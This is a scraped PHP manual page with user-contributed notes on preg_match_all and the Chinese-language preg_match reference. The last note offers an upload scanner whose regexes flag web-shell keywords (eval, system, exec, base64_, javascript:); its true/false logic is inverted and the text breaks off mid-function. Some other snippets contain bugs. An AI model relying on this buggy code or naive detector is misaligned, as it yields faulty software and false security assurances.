            [1] => AB
            [2] => AB
            [3] => BC
        )

    [2] => Array
        (
            [1] => 51.1746254
            [2] => 51.0938416
            [3] => 50.5065193
        )

    [3] => Array
        (
            [1] => -115.5719757
            [2] => -115.3517761
            [3] => -116.0321884
        )

    [4] => Array
        (
            [1] => T1L 1B3
            [2] => T1W 1N2
            [3] => V0B 2G0
        )

)

Rotate it 90 degrees to group results as records:

Array
(
    [0] => Array
        (
            [1] => Banff
            [2] => AB
            [3] => 51.1746254
            [4] => -115.5719757
            [5] => T1L 1B3
        )

    [1] => Array
        (
            [1] => Canmore
            [2] => AB
            [3] => 51.0938416
            [4] => -115.3517761
            [5] => T1W 1N2
        )

    [2] => Array
        (
            [1] => Invermere
            [2] => BC
            [3] => 50.5065193
            [4] => -116.0321884
            [5] => V0B 2G0
        )
)
buuh 06-Dec-2010 02:03
if you want to extract all {token}s from a string:

<?php
$pattern = "/{[^}]*}/";
$subject = "{token1} foo {token2} bar";
preg_match_all($pattern, $subject, $matches);
print_r($matches);
?>

output:

Array
(
    [0] => Array
        (
            [0] => {token1}
            [1] => {token2}
        )

)
no at bo dot dy 08-Sep-2010 11:23
For parsing queries with entities use:

<?php
preg_match_all("/(?:^|(?<=\&(?![a-z]+\;)))([^\=]+)=(.*?)(?:$|\&(?![a-z]+\;))/i",
  $s, $m, PREG_SET_ORDER );
?>
avengis at gmail dot com 23-Sep-2009 02:25
The next function works with almost any complex xml/xhtml string

<?php
/**
* Find and close unclosed xml tags
**/
function close_tags($text) {
    $patt_open    = "%((?<!</)(?<=<)[\s]*[^/!>\s]+(?=>|[\s]+[^>]*[^/]>)(?!/>))%";
    $patt_close    = "%((?<=</)([^>]+)(?=>))%";
    if (preg_match_all($patt_open,$text,$matches))
    {
        $m_open = $matches[1];
        if(!empty($m_open))
        {
            preg_match_all($patt_close,$text,$matches2);
            $m_close = $matches2[1];
            if (count($m_open) > count($m_close))
            {
                $m_open = array_reverse($m_open);
                foreach ($m_close as $tag) $c_tags[$tag]++;
                foreach ($m_open as $k => $tag)    if ($c_tags[$tag]--<=0) $text.='</'.$tag.'>';
            }
        }
    }
    return $text;
}
?>
royaltm75 at gmail dot com 13-Sep-2009 02:44
I have received complains, that my html2a() code (see below) doesn't work in some cases.
It is however not the problem with algorithm or procedure, but with PCRE recursive stack limits.

If you use recursive PCRE (?R) you should remember to increase those two ini settings:

ini_set('pcre.backtrack_limit', 10000000);
ini_set('pcre.recursion_limit', 10000000);

But be warned: (from php.ini)

;Please note that if you set this value to a high number you may consume all
;the available process stack and eventually crash PHP (due to reaching the
;stack size limit imposed by the Operating System).

I have written this example mainly to demonstrate the power of PCRE LANGUAGE, not the power of it's implementation  :)

But if you like it, use it, of course on your own risk.
elyknosrac at gmail dot com 18-Jul-2009 03:51
Using preg_match_all I made a pretty handy function.

<?php

function reg_smart_replace($pattern, $replacement, $subject, $replacementChar = "$$$", $limit = -1)
{
    if (! $pattern || ! $subject || ! $replacement ) { return false; }

    $replacementChar = preg_quote($replacementChar);

    preg_match_all ( $pattern, $subject, $matches);

    if ($limit > -1) {
        foreach ($matches as $count => $value )
        {
            if ($count + 1 > $limit ) { unset($matches[$count]); }
        }
    }
    foreach ($matches[0] as $match) {
        $rep = ereg_replace($replacementChar, $match, $replacement);
        $subject = ereg_replace($match, $rep, $subject);
    }

    return $subject;
}
?>

This function can turn blocks of text into clickable links or whatever.  Example:

<?php
reg_smart_replace(EMAIL_REGEX, '<a href="mailto:$$$">$$$</a>', $description)
?>
will turn all email addresses into actual links.

Just substitute $$$ with the text that will be found by the regex.  If you can't use $$$ then use the 4th parameter $replacementChar
ad 01-Apr-2009 05:18
i have made up a simple function to extract a number from a string..

I am not sure how good it is, but it works.

It gets only the numbers 0-9, the "-", " ", "(", ")", "."

characters.. This is as far as I know the most widely used characters for a Phone number.

<?php
function clean_phone_number($phone) {
       if (!empty($phone)) {
               //var_dump($phone);
               preg_match_all('/[0-9\(\)+.\- ]/s', $phone, $cleaned);
               foreach($cleaned[0] as $k=>$v) {
                       $ready .= $v;
               }
               var_dump($ready);
               die;
               if (mb_strlen($cleaned) > 4 && mb_strlen($cleaned) <=25) {
                       return $cleaned;
               }
               else {
                       return false;
               }
       }
       return false;
}
?>
royaltm75 at NOSPAM dot gmail dot com 21-Feb-2009 02:55
The power of pregs is limited only by your *imagination* :)
I wrote this html2a() function using preg recursive match (?R) which provides quite safe and bulletproof html/xml extraction:
<?php
function html2a ( $html ) {
  if ( !preg_match_all( '
@
\<\s*?(\w+)((?:\b(?:\'[^\']*\'|"[^"]*"|[^\>])*)?)\>
((?:(?>[^\<]*)|(?R))*)
\<\/\s*?\\1(?:\b[^\>]*)?\>
|\<\s*(\w+)(\b(?:\'[^\']*\'|"[^"]*"|[^\>])*)?\/?\>
@uxis', $html = trim($html), $m, PREG_OFFSET_CAPTURE | PREG_SET_ORDER) )
    return $html;
  $i = 0;
  $ret = array();
  foreach ($m as $set) {
    if ( strlen( $val = trim( substr($html, $i, $set[0][1] - $i) ) ) )
      $ret[] = $val;
    $val = $set[1][1] < 0
      ? array( 'tag' => strtolower($set[4][0]) )
      : array( 'tag' => strtolower($set[1][0]), 'val' => html2a($set[3][0]) );
    if ( preg_match_all( '
/(\w+)\s*(?:=\s*(?:"([^"]*)"|\'([^\']*)\'|(\w+)))?/usix
', isset($set[5]) && $set[2][1] < 0
  ? $set[5][0]
  : $set[2][0]
  ,$attrs, PREG_SET_ORDER ) ) {
      foreach ($attrs as $a) {
        $val['attr'][$a[1]]=$a[count($a)-1];
      }
    }
    $ret[] = $val;
    $i = $set[0][1]+strlen( $set[0][0] );
  }
  $l = strlen($html);
  if ( $i < $l )
    if ( strlen( $val = trim( substr( $html, $i, $l - $i ) ) ) )
      $ret[] = $val;
  return $ret;
}
?>

Now let's try it with this example: (there are some really nasty xhtml compliant bugs, but ... we shouldn't worry)

<?php
$html = <<<EOT
some leftover text...
     < DIV class=noCompliant style = "text-align:left;" >
... and some other ...
< dIv > < empty>  </ empty>
  <p> This is yet another text <br  >
     that wasn't <b>compliant</b> too... <br   />
     </p>
 <div class="noClass" > this one is better but we don't care anyway </div ><P>
    <input   type= "text"  name ='my "name' value  = "nothin really." readonly>
end of paragraph </p> </Div>   </div>   some trailing text
EOT;

$a = html2a($html);
//now we will make some neat html out of it
echo a2html($a);

function a2html ( $a, $in = "" ) {
  if ( is_array($a) ) {
    $s = "";
    foreach ($a as $t)
      if ( is_array($t) ) {
        $attrs="";
        if ( isset($t['attr']) )
          foreach( $t['attr'] as $k => $v )
            $attrs.=" ${k}=".( strpos( $v, '"' )!==false ? "'$v'" : "\"$v\"" );
        $s.= $in."<".$t['tag'].$attrs.( isset( $t['val'] ) ? ">\n".a2html( $t['val'], $in."  " ).$in."</".$t['tag'] : "/" ).">\n";
      } else
        $s.= $in.$t."\n";
  } else {
    $s = empty($a) ? "" : $in.$a."\n";
  }
  return $s;
}
?>
This produces:
some leftover text...
<div class="noCompliant" style="text-align:left;">
  ... and some other ...
  <div>
    <empty>
    </empty>
    <p>
      This is yet another text
      <br/>
      that wasn't
      <b>
        compliant
      </b>
      too...
      <br/>
    </p>
    <div class="noClass">
      this one is better but we don't care anyway
    </div>
    <p>
      <input type="text" name='my "name' value="nothin really." readonly="readonly"/>
      end of paragraph
    </p>
  </div>
</div>
some trailing text
meaneye at mail dot com 15-Oct-2008 02:56
Recently I had to write search engine in hebrew and ran into huge amount of problems. My data was stored in MySQL table with utf8_bin encoding.

So, to be able to write hebrew in utf8 table you need to do
<?php
$prepared_text = addslashes(urf8_encode($text));
?>

But then I had to find if some word exists in stored text. This is the place I got stuck. Simple preg_match would not find text since hebrew doesnt work that easy. I've tried with /u and who kows what else.

Solution was somewhat logical and simple...
<?php
$db_text = bin2hex(stripslashes(utf8_decode($db_text)));
$word = bin2hex($word);

$found = preg_match_all("/($word)+/i", $db_text, $matches);
?>

I've used preg_match_all since it returns number of occurences. So I could sort search results acording to that.

Hope someone finds this useful!
MonkeyMan 07-Oct-2008 01:25
Here is a way to match everything on the page, performing an action for each match as you go. I had used this idiom in other languages, where its use is customary, but in PHP it seems to be not quite as common.

<?php
function custom_preg_match_all($pattern, $subject)
{
    $offset = 0;
    $match_count = 0;
    while(preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, $offset))
    {
        // Increment counter
        $match_count++;

        // Get byte offset and byte length (assuming single byte encoded)
        $match_start = $matches[0][1];
        $match_length = strlen(matches[0][0]);

        // (Optional) Transform $matches to the format it is usually set as (without PREG_OFFSET_CAPTURE set)
        foreach($matches as $k => $match) $newmatches[$k] = $match[0];
        $matches = $new_matches;

        // Your code here
        echo "Match number $match_count, at byte offset $match_start, $match_length bytes long: ".$matches[0]."\r\n";

        // Update offset to the end of the match
        $offset = $match_start + $match_length;
    }

    return $match_count;
}
?>

Note that the offsets returned are byte values (not necessarily number of characters) so you'll have to make sure the data is single-byte encoded. (Or have a look at paolo mosna's strByte function on the strlen manual page).
I'd be interested to know how this method performs speedwise against using preg_match_all and then recursing through the results.
sledge NOSPAM 19-Jun-2008 01:46
Perhaps you want to find the positions of all anchor tags.  This will return a two dimensional array of which the starting and ending positions will be returned.

<?php
function getTagPositions($strBody)
{
    define(DEBUG, false);
    define(DEBUG_FILE_PREFIX, "/tmp/findlinks_");

    preg_match_all("/<[^>]+>(.*)<\/[^>]+>/U", $strBody, $strTag, PREG_PATTERN_ORDER);
    $intOffset = 0;
    $intIndex = 0;
    $intTagPositions = array();

    foreach($strTag[0] as $strFullTag) {
        if(DEBUG == true) {
            $fhDebug = fopen(DEBUG_FILE_PREFIX.time(), "a");
            fwrite($fhDebug, $fulltag."\n");
            fwrite($fhDebug, "Starting position: ".strpos($strBody, $strFullTag, $intOffset)."\n");
            fwrite($fhDebug, "Ending position: ".(strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag))."\n");
            fwrite($fhDebug, "Length: ".strlen($strFullTag)."\n\n");
            fclose($fhDebug);
        }
        $intTagPositions[$intIndex] = array('start' => (strpos($strBody, $strFullTag, $intOffset)), 'end' => (strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag)));
        $intOffset += strlen($strFullTag);
        $intIndex++;
    }
    return $intTagPositions;
}

$strBody = 'I have lots of <a href="http://my.site.com">links</a> on this <a href="http://my.site.com">page</a> that I want to <a href="http://my.site.com">find</a> the positions.';

$strBody = strip_tags(html_entity_decode($strBody), '<a>');
$intTagPositions = getTagPositions($strBody);
print_r($intTagPositions);

/*****
Output:

Array (
    [0] => Array (
        [start] => 15
        [end] => 53 )
    [1] => Array (
        [start] => 62
        [end] => 99 )
    [2] => Array (
        [start] => 115
        [end] => 152 )
 )
*****/
?>
spambegone at cratemedia dot com 20-Apr-2008 11:39
I found simpleXML to be useful only in cases where the XML was extremely small, otherwise the server would run out of memory (I suspect there is a memory leak or something?). So while searching for alternative parsers, I decided to try a simpler approach. I don't know how this compares with cpu usage, but I know it works with large XML structures. This is more a manual method, but it works for me since I always know what structure of data I will be receiving.

Essentially I just preg_match() unique nodes to find the values I am looking for, or I preg_match_all to find multiple nodes. This puts the results in an array and I can then process this data as I please.

I was unhappy though, that preg_match_all() stores the data twice (requiring twice the memory), one array for all the full pattern matches, and one array for all the sub pattern matches. You could probably write your own function that overcame this. But for now this works for me, and I hope it saves someone else some time as well.

// SAMPLE XML
<RETS ReplyCode="0" ReplyText="Operation Successful">
  <COUNT Records="14" />
  <DELIMITER value="09" />
  <COLUMNS>PropertyID</COLUMNS>
  <DATA>521897</DATA>
  <DATA>677208</DATA>
  <DATA>686037</DATA>
</RETS>

<?PHP

// SAMPLE FUNCTION
function parse_xml($xml) {

    // GET DELIMITER (single instance)
    $match_res = preg_match('/<DELIMITER value ?= ?"(.*)" ?\/>/', $xml, $matches);
    if(!empty($matches[1])) {
        $results["delimiter"] = chr($matches[1]);
    } else {
        // DEFAULT DELIMITER
        $results["delimiter"] = "\t";
    }
    unset($match_res, $matches);

    // GET MULTIPLE DATA NODES (multiple instances)
    $results["data_count"] = preg_match_all("/<DATA>(.*)<\/DATA>/", $xml, $matches);
    // GET MATCHES OF SUB PATTERN, DISCARD THE REST
    $results["data"]=$matches[1];
    unset($match_res, $matches);

    // UNSET XML TO SAVE MEMORY (should unset outside the function as well)
    unset($xml);

    // RETURN RESULTS ARRAY
    return $results;

}

?>
bruha 04-Mar-2008 12:13
To count str_length in UTF-8 string i use

$count = preg_match_all("/[[:print:]\pL]/u", $str, $pockets);

where
[:print:] - printing characters, including space
\pL - UTF-8 Letter
/u - UTF-8 string
other unicode character properties on http://www.pcre.org/pcre.txt
dolbegraeb 28-Jan-2008 04:30
please note, that the function of "mail at SPAMBUSTER at milianw dot de" can result in invalid xhtml in some cases. think i used it in the right way but my result is sth like this:

<img src="./img.jpg" alt="nice picture" />foo foo foo foo </img>

correct me if i'm wrong.
i'll see when there's time to fix that. -.-
mr davin 12-Jul-2007 02:57
<?php
// Returns an array of strings where the start and end are found
    function findinside($start, $end, $string) {
        preg_match_all('/' . preg_quote($start, '/') . '([^\.)]+)'. preg_quote($end, '/').'/i', $string, $m);
        return $m[1];
    }

    $start = "mary has";
    $end = "lambs.";
    $string = "mary has 6 lambs. phil has 13 lambs. mary stole phil's lambs. now mary has all the lambs.";

    $out = findinside($start, $end, $string);

    print_r ($out);

/* Results in
(
    [0] =>  6
    [1] =>  all the
)
*/
?>
phektus at gmail dot com 26-Jun-2007 11:22
If you'd like to include DOUBLE QUOTES on a regular expression for use with preg_match_all, try ESCAPING THRICE, as in: \\\"

For example, the pattern:
'/<table>[\s\w\/<>=\\\"]*<\/table>/'

Should be able to match:
<table>
<row>
<col align="left" valign="top">a</col>
<col align="right" valign="bottom">b</col>
</row>
</table>
.. with all there is under those table tags.

I'm not really sure why this is so, but I tried just the double quote and one or even two escape characters and it won't work. In my frustration I added another one and then it's cool.
chuckie 06-Dec-2006 06:20
This is a function to convert byte offsets into (UTF-8) character offsets (this is reagardless of whether you use /u modifier:

<?php

function mb_preg_match_all($ps_pattern, $ps_subject, &$pa_matches, $pn_flags = PREG_PATTERN_ORDER, $pn_offset = 0, $ps_encoding = NULL) {
  // WARNING! - All this function does is to correct offsets, nothing else:
  //
  if (is_null($ps_encoding))
    $ps_encoding = mb_internal_encoding();

  $pn_offset = strlen(mb_substr($ps_subject, 0, $pn_offset, $ps_encoding));
  $ret = preg_match_all($ps_pattern, $ps_subject, $pa_matches, $pn_flags, $pn_offset);

  if ($ret && ($pn_flags & PREG_OFFSET_CAPTURE))
    foreach($pa_matches as &$ha_match)
      foreach($ha_match as &$ha_match)
        $ha_match[1] = mb_strlen(substr($ps_subject, 0, $ha_match[1]), $ps_encoding);
    //
    // (code is independent of PREG_PATTER_ORDER / PREG_SET_ORDER)

  return $ret;
  }

?>
phpnet at sinful-music dot com 20-Feb-2006 12:53
Here's some fleecy code to 1. validate RCF2822 conformity of address lists and 2. to extract the address specification (the part commonly known as 'email'). I wouldn't suggest using it for input form email checking, but it might be just what you want for other email applications. I know it can be optimized further, but that part I'll leave up to you nutcrackers. The total length of the resulting Regex is about 30000 bytes. That because it accepts comments. You can remove that by setting $cfws to $fws and it shrinks to about 6000 bytes. Conformity checking is absolutely and strictly referring to RFC2822. Have fun and email me if you have any enhancements!

<?php
function mime_extract_rfc2822_address($string)
{
        //rfc2822 token setup
        $crlf           = "(?:\r\n)";
        $wsp            = "[\t ]";
        $text           = "[\\x01-\\x09\\x0B\\x0C\\x0E-\\x7F]";
        $quoted_pair    = "(?:\\\\$text)";
        $fws            = "(?:(?:$wsp*$crlf)?$wsp+)";
        $ctext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F" .
                          "!-'*-[\\]-\\x7F]";
        $comment        = "(\\((?:$fws?(?:$ctext|$quoted_pair|(?1)))*" .
                          "$fws?\\))";
        $cfws           = "(?:(?:$fws?$comment)*(?:(?:$fws?$comment)|$fws))";
        //$cfws           = $fws; //an alternative to comments
        $atext          = "[!#-'*+\\-\\/0-9=?A-Z\\^-~]";
        $atom           = "(?:$cfws?$atext+$cfws?)";
        $dot_atom_text  = "(?:$atext+(?:\\.$atext+)*)";
        $dot_atom       = "(?:$cfws?$dot_atom_text$cfws?)";
        $qtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!#-[\\]-\\x7F]";
        $qcontent       = "(?:$qtext|$quoted_pair)";
        $quoted_string  = "(?:$cfws?\"(?:$fws?$qcontent)*$fws?\"$cfws?)";
        $dtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!-Z\\^-\\x7F]";
        $dcontent       = "(?:$dtext|$quoted_pair)";
        $domain_literal = "(?:$cfws?\\[(?:$fws?$dcontent)*$fws?]$cfws?)";
        $domain         = "(?:$dot_atom|$domain_literal)";
        $local_part     = "(?:$dot_atom|$quoted_string)";
        $addr_spec      = "($local_part@$domain)";
        $display_name   = "(?:(?:$atom|$quoted_string)+)";
        $angle_addr     = "(?:$cfws?<$addr_spec>$cfws?)";
        $name_addr      = "(?:$display_name?$angle_addr)";
        $mailbox        = "(?:$name_addr|$addr_spec)";
        $mailbox_list   = "(?:(?:(?:(?<=:)|,)$mailbox)+)";
        $group          = "(?:$display_name:(?:$mailbox_list|$cfws)?;$cfws?)";
        $address        = "(?:$mailbox|$group)";
        $address_list   = "(?:(?:^|,)$address)+";

        //output length of string (just so you see how f**king long it is)
        echo(strlen($address_list) . " ");

        //apply expression
        preg_match_all("/^$address_list$/", $string, $array, PREG_SET_ORDER);

        return $array;
};
?>
mnc at u dot nu 02-Feb-2006 10:05
PREG_OFFSET_CAPTURE always seems to provide byte offsets, rather than character position offsets, even when you are using the unicode /u modifier.


执行匹配正则表达式

  • ? preg_match_all
  • preg_quote ?
  • PHP Manual
  • PCRE 函数
  • 执行匹配正则表达式

preg_match

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_match — 执行匹配正则表达式

说明

preg_match(
string $pattern,
string $subject,
array &$matches = null,
int $flags = 0,
int $offset = 0
): int|false

搜索subject与pattern给定的正则表达式的一个匹配.

参数

pattern

要搜索的模式，字符串类型。

subject

输入字符串。

matches

如果提供了参数matches，它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本， $matches[1] 将包含第一个捕获子组匹配到的文本，以此类推。

flags

flags 可以被设置为以下标记值的组合：

PREG_OFFSET_CAPTURE

如果传递了这个标记，对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的字节数)。 注意：这会改变填充到matches参数的数组，使其每个元素成为一个由 第0个元素是匹配到的字符串，第1个元素是该匹配字符串 在目标字符串subject中的偏移量。

<?php
preg_match('/(foo)(bar)(baz)/', 'foobarbaz', $matches, PREG_OFFSET_CAPTURE);
print_r($matches);
?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [0] => foobarbaz
            [1] => 0
        )

    [1] => Array
        (
            [0] => foo
            [1] => 0
        )

    [2] => Array
        (
            [0] => bar
            [1] => 3
        )

    [3] => Array
        (
            [0] => baz
            [1] => 6
        )

)

PREG_UNMATCHED_AS_NULL

使用该标记，未匹配的子组会报告为 null；未使用时，报告为空的 string。

<?php
preg_match('/(a)(b)*(c)/', 'ac', $matches);
var_dump($matches);
preg_match('/(a)(b)*(c)/', 'ac', $matches, PREG_UNMATCHED_AS_NULL);
var_dump($matches);
?>

以上示例会输出：

array(4) {
  [0]=>
  string(2) "ac"
  [1]=>
  string(1) "a"
  [2]=>
  string(0) ""
  [3]=>
  string(1) "c"
}
array(4) {
  [0]=>
  string(2) "ac"
  [1]=>
  string(1) "a"
  [2]=>
  NULL
  [3]=>
  string(1) "c"
}

offset

通常，搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个位置开始搜索(单位是字节)。

Note:

使用offset参数不同于向preg_match() 传递按照位置通过substr($subject, $offset)截取目标字符串结果， 因为pattern可以包含断言比如^， $ 或者(?<=x)。 比较：

<?php
$subject = "abcdef";
$pattern = '/^def/';
preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, 3);
print_r($matches);
?>

以上示例会输出：

Array
(
)

当这个示例使用截取后传递时

<?php
$subject = "abcdef";
$pattern = '/^def/';
preg_match($pattern, substr($subject,3), $matches, PREG_OFFSET_CAPTURE);
print_r($matches);
?>

将会产生匹配

Array
(
    [0] => Array
        (
            [0] => def
            [1] => 0
        )

)

要避免使用 substr()，可以用 \G 断言而不是 ^ 锚，或者 A 修改器，它们都能和 offset 参数一起运行。

返回值

如果 pattern 匹配到指定 subject，则 preg_match() 返回 1，如果没有匹配到则返回 0， 或者在失败时返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

错误／异常

如果传递的正则表达式无法正常解析，会发出 E_WARNING。

更新日志

版本 | 说明
7.2.0 | 现在 $flags 参数支持 PREG_UNMATCHED_AS_NULL。

示例

Example #1 查找文本字符串"php"

<?php
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}
?>

Example #2 查找单词"word"

<?php
/* 模式中的\b标记一个单词边界，所以只有独立的单词"web"会被匹配，而不会匹配
* 单词的部分内容比如"webbing" 或 "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}

if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}
?>

Example #3 获取URL中的域名

<?php
//从URL中获取主机名称
preg_match('@^(?:http://)?([^/]+)@i',
"http://www.php.net/index.html", $matches);
$host = $matches[1];

//获取主机名称的后面两部分
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>

以上示例会输出：

domain name is: php.net

Example #4 使用命名子组

<?php

$str = 'foobar: 2008';

preg_match('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

/* 可选的方式 */
// preg_match('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);

?>

以上示例会输出：

Array
(
    [0] => foobar: 2008
    [name] => foobar
    [1] => foobar
    [digit] => 2008
    [2] => 2008
)

注释

Tip

如果你仅仅想要检查某个字符串是否包含另外一个字符串，不要使用preg_match()。 使用 strpos() 会更快。

参见

  • PCRE 模式
  • preg_quote() - 转义正则表达式字符
  • preg_match_all() - 执行一个全局正则表达式匹配
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • preg_split() - 通过一个正则表达式分隔字符串
  • preg_last_error() - 返回最后一个PCRE正则执行产生的错误代码
  • preg_last_error_msg() - Returns the error message of the last PCRE regex execution

User Contributed Notes

matt at proweb dot co dot uk 08-Feb-2021 12:07
pcre2-migration

Status: Implemented (in PHP 7.3)

SELinux will prevent PREG_* functions from working

Feb  8 12:40:51 servername setroubleshoot: SELinux is preventing httpd from using the execmem access on a process.

you need to add preg.jit=0 to php.ini or init_set('preg.jit', 0) if you can't do that

try the [PCRE] section so you can find it
chris at ocproducts dot com 28-Dec-2020 03:43
If PREG_OFFSET_CAPTURE is set then unmatched captures (i.e. ones with '?') will not be present in the result array. This is presumably because there is no offset, and thus the original PHP dev decided best to just leave it out.
xcsv at gmx dot net 06-May-2020 08:39
As of PHP 7.2, you can use the following.

If you work with named subpatterns and dont want to bother with unnamed match result entries and unmatched subpatterns, just replace preg_match() with named_preg_match(). This filters all unwanted stuff out.

<?php
function named_preg_match(string $pattern , string $subject, array &$matches = null, int $flags = 0, int $offset = 0) {
    $retval = preg_match($pattern, $subject, $localmatches, PREG_UNMATCHED_AS_NULL | $flags, $offset);
    if ($retval) {
        foreach ($localmatches as $key => $value) {
            if (is_int($key)) $value = null;
            if (is_null($value)) unset($localmatches[$key]);
        }
        $matches = $localmatches;
    }
    return $retval;
}
?>

Hope this will be useful.
ASchmidt at Anamera dot net 06-Feb-2020 05:58
After the breaking change in 7.4, be aware that count( $matches ) may be different, depending on PREG_UNMATCHED_AS_NULL flag.

With PREG_UNMATCHED_AS_NULL, count( $matches ) will always be the maximum number of subpatterns.
However, without PREG_UNMATCHED_AS_NULL the $matches array will omit any unmatched subpatterns at the tail end.

Result forthe first two out of three matches with PREG_OFFSET_CAPTURE flag only:

array (size=3)
  0 =>
    array (size=2)
      0 => string 'may/02' (length=6)
      1 => int 0
  1 =>
    array (size=2)
      0 => string 'may' (length=3)
      1 => int 0
  2 =>
    array (size=2)
      0 => string '02' (length=2)
      1 => int 4

Result for two out of three matches with additional PREG_UNMATCHED_AS_NULL flags:

array (size=4)
  0 =>
    array (size=2)
      0 => string 'may/02' (length=6)
      1 => int 0
  1 =>
    array (size=2)
      0 => string 'may' (length=3)
      1 => int 0
  2 =>
    array (size=2)
      0 => string '02' (length=2)
      1 => int 4
  3 =>
    array (size=2)
      0 => null
      1 => int -1
ASchmidt at Anamera dot net 06-Feb-2020 04:42
Combining flags
PREG_OFFSET_CAPTURE | PREG_UNMATCHED_AS_NULL
will NOT result in a value of NULL for any submatched subpattern.

Instead still results in an array for each unmatched subpattern, in turn containing:

 array (size=2)
      0 => null
      1 => int -1

Consequently your code needs to expect NULL as the string value:
 $matches[ {subpattern+1} ][0] === null
and/or a negative string offset:
 $matches[ {subpattern+1} ][1] < 0
to detect any unmatched subpattern!
danielrydell at gmail dot com 24-Sep-2017 01:25
When trying to match accented characters, such as those found in Spanish, there seems to be a different internal interpretation when using character classes. So the best way is to add the u option (for unicode) after the delimiters.

<?php

//echoes 1 (adding u would not alter the result)
echo preg_match('/^áéíóú?$/', 'áéíóú?');

//echoes 0 (unless with [ó]+ or [ó]* or adding u)
echo preg_match('/^áéí[ó]ú?$/', 'áéíóú?');

//so to match 'espana' or 'espa?a', add u or this won't match
//echoes 1
echo preg_match('/^espa[n?]a$/u', 'espa?a');

?>
chat dot noir at arcor dot de 23-Aug-2017 01:56
Note that if a parenthesed group is not matched, its key may or may not be present in $matches. For instance,

<?php preg_match('/(foo)?(bar)?(baz)?/', 'bar', $matches);
print_r($matches);

// outputs
// Array
// (
//     [0] => bar
//     [1] =>
//     [2] => bar
// )
?>
Note that there is no element with key '3' in $matches, but an element with key '1' (the empty string). This inconsistent behavior also applies to named groups.
geompse at gmail dot com 10-Jul-2017 10:13
The function will return false and raise a warning if the input $subject is too long :
[PhpWarning] preg_match(): Subject is too long

I believe the limit is 1 or 2 GB because I was using a 2.2GB string.
While a parameter might exist to alter this limit, in my case it was possible and wiser to use <500MB strings instead.
solixmexico at outlook dot com 12-Oct-2016 11:09
To validate directorys on Windows i used this:

if( preg_match("#^([a-z]{1}\:{1})?[\\\/]?([\-\w]+[\\\/]?)*$#i",$_GET['path'],$matches) !== 1 ){
    echo("Invalid value");
}else{
    echo("Valid value");
}

The parts are:

#^ and $i            Make the string matches at all the pattern, from start to end for ensure a complete match.
([a-z]{1}\:{1})?        The string may starts with one letter and a colon, but only 1 character for eachone, this is for the drive letter (C:)
[\\\/]?            The string may contain, but not require 1 slash or backslash after the drive letter, (\/)
([\-\w]+[\\\/]?)*    The string must have 1 or more of any character like hyphen, letter, number, underscore, and may contain a slash or back slash at the end, to have a directory like ("/" or "folderName" or "folderName/"), this may be repeated one or more times.
asdfasdasad34535 at iflow dot at 21-Jul-2013 09:07
Attention! PREG_OFFSET_CAPTURE not UTF-8 aware when using u modifier
and it's not a but, it's a feature:
https://bugs.php.net/bug.php?id=37391

Possible workaround: Use mb_strpos to get the correct offset, instead of the flag.

 UTF-8 support would be nice.
andre at koethur dot de 17-Jun-2013 08:49
Be aware of bug https://bugs.php.net/bug.php?id=50887 when using sub patterns: Un-matched optional sub patterns at the end won't show up in $matches.

Here is a workaround: Assign a name to all subpatterns you are interested in, and merge $match afterwards with an constant array containing some reasonable default values:

<?php
if (preg_match('/^(?P<lang>[^;*][^;]*){1}(?:;q=(?P<qval>[0-9.]+))?$/u', 'de', $match))
{
  $match = array_merge(array('lang' => '', 'qval' => ''), $match);
  print_r($match);
}
?>

This outputs:
Array
(
    [lang] => de
    [qval] =>
    [0] => de
    [1] => de
)

Instead of:
Array
(
    [0] => de
    [lang] => de
    [1] => de
)
yofilter-php at yahoo dot co dot uk 05-Mar-2013 01:48
There does not seem to be any mention of the PHP version of switches that can be used with regular expressions.

preg_match_all('/regular expr/sim',$text).

The s i m being the location for and available switches (I know about)
The i is to ignore letter cases (this is commonly known - I think)
The s tells the code NOT TO stop searching when it encounters \n (line break) - this is important with multi-line entries for example text from an editor that needs search.
The m tells the code it is a multi-line entry, but importantly allows the use of ^ and $ to work when showing start and end.

I am hoping this will save someone from the 4 hours of torture that I endured, trying to workout this issue.
Yousef Ismaeil Cliprz 04-Feb-2013 01:31
Some times a Hacker use a php file or shell as a image to hack your website. so if you try to use move_uploaded_file() function as in example to allow for users to upload files, you must check if this file contains a bad codes or not so we use this function. preg match

in this function we use

unlink() - http://php.net/unlink

after you upload file check a file with below function.

<?php

/**
 * A simple function to check file from bad codes.
 *
 * @param (string) $file - file path.
 * @author Yousef Ismaeil - Cliprz[at]gmail[dot]com.
 */
function is_clean_file ($file)
{
    if (file_exists($file))
    {
        $contents = file_get_contents($file);
    }
    else
    {
        exit($file." Not exists.");
    }

    if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i',$contents))
    {
        return true;
    }
    else if (preg_match("#&\#x([0-9a-f]+);#i", $contents))
    {
        return true;
    }
    elseif (preg_match('#&\#([0-9]+);#i', $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\`\'\"]*)script:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\`\'\"]*)javascript:#iU", $contents))
    {
